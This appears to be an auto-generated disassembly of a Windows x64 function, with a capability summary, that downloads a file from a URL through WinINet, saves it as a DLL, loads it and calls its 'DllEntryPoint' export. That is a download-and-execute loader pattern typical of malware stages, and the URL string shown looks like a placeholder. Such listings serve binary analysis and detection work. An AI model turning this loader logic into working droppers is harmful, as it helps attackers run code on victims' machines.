Function at 0x1400bd741
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
jmp 0x1400d8660
push rbp
push rdi
sub rsp, 0x7e8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x15a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14028f080]
xor rax, rbp
mov qword [rbp + 0x798], rax
lea rcx, [0x1402ab0f3]
call fcn.1400bf2df
lea rax, str.jfngkljdfnygkjcxnfklfgmnkldm
mov qword [rbp + 8], rax
lea rax, str.fghfd.dll
mov qword [rbp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Downloader
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1400d870a
lea rdx, str.Failed_to_initialize_WinINet
lea rcx, [0x140291cf0]
call fcn.1400ba906
lea rdx, [0x1400ba339]
mov rcx, rax
call fcn.1400bca35
mov eax, 1
jmp 0x1400d89d3
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x1400d8770
lea rdx, str.Failed_to_open_URL
lea rcx, [0x140291cf0]
call fcn.1400ba906
lea rdx, [0x1400ba339]
mov rcx, rax
call fcn.1400bca35
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400d89d3
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0xffffffffffffffff
jne 0x1400d87ef
lea rdx, str.Failed_to_create_local_file
lea rcx, [0x140291cf0]
call fcn.1400ba906
lea rdx, [0x1400ba339]
mov rcx, rax
call fcn.1400bca35
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400d89d3
mov dword [rbp + 0xa4], 0
lea r9, [rbp + 0xa4]
mov r8d, 0x400
lea rdx, [rbp + 0xd0]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400d88c5
cmp dword [rbp + 0xa4], 0
jbe 0x1400d88c5
mov dword [rbp + 0x4e4], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x4e4]
mov r8d, dword [rbp + 0xa4]
lea rdx, [rbp + 0xd0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400d8873
mov eax, dword [rbp + 0xa4]
cmp dword [rbp + 0x4e4], eax
je 0x1400d88c0
lea rdx, str.Failed_to_write_to_local_file
lea rcx, [0x140291cf0]
call fcn.1400ba906
lea rdx, [0x1400ba339]
mov rcx, rax
call fcn.1400bca35
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400d89d3
jmp 0x1400d87f9
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x508], rax
cmp qword [rbp + 0x508], 0
jne 0x1400d892d
lea rdx, str.Failed_to_load_DLL
lea rcx, [0x140291cf0]
call fcn.1400ba906
lea rdx, [0x1400ba339]
mov rcx, rax
call fcn.1400bca35
mov eax, 1
jmp 0x1400d89d3
lea rdx, str.DllEntryPoint
mov rcx, qword [rbp + 0x508]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x528], rax
cmp qword [rbp + 0x528], 0
jne 0x1400d8988
lea rdx, str.Failed_to_find_entry_point_in_DLL
lea rcx, [0x140291cf0]
call fcn.1400ba906
lea rdx, [0x1400ba339]
mov rcx, rax
call fcn.1400bca35
mov rcx, qword [rbp + 0x508]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1400d89d3
call qword [rbp + 0x528]
mov dword [rbp + 0x544], eax
lea rdx, str.Entry_point_function_returned:
lea rcx, [0x140291b70]
call fcn.1400ba906
mov edx, dword [rbp + 0x544]
mov rcx, rax
call fcn.1400bae3d
lea rdx, [0x1400ba339]
mov rcx, rax
call fcn.1400bca35
mov rcx, qword [rbp + 0x508]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140243b70]
call fcn.1400be47a
mov rax, rdi
mov rcx, qword [rbp + 0x798]
xor rcx, rbp
call fcn.1400bc7e7
lea rsp, [rbp + 0x7a8]
pop rdi
pop rbp
ret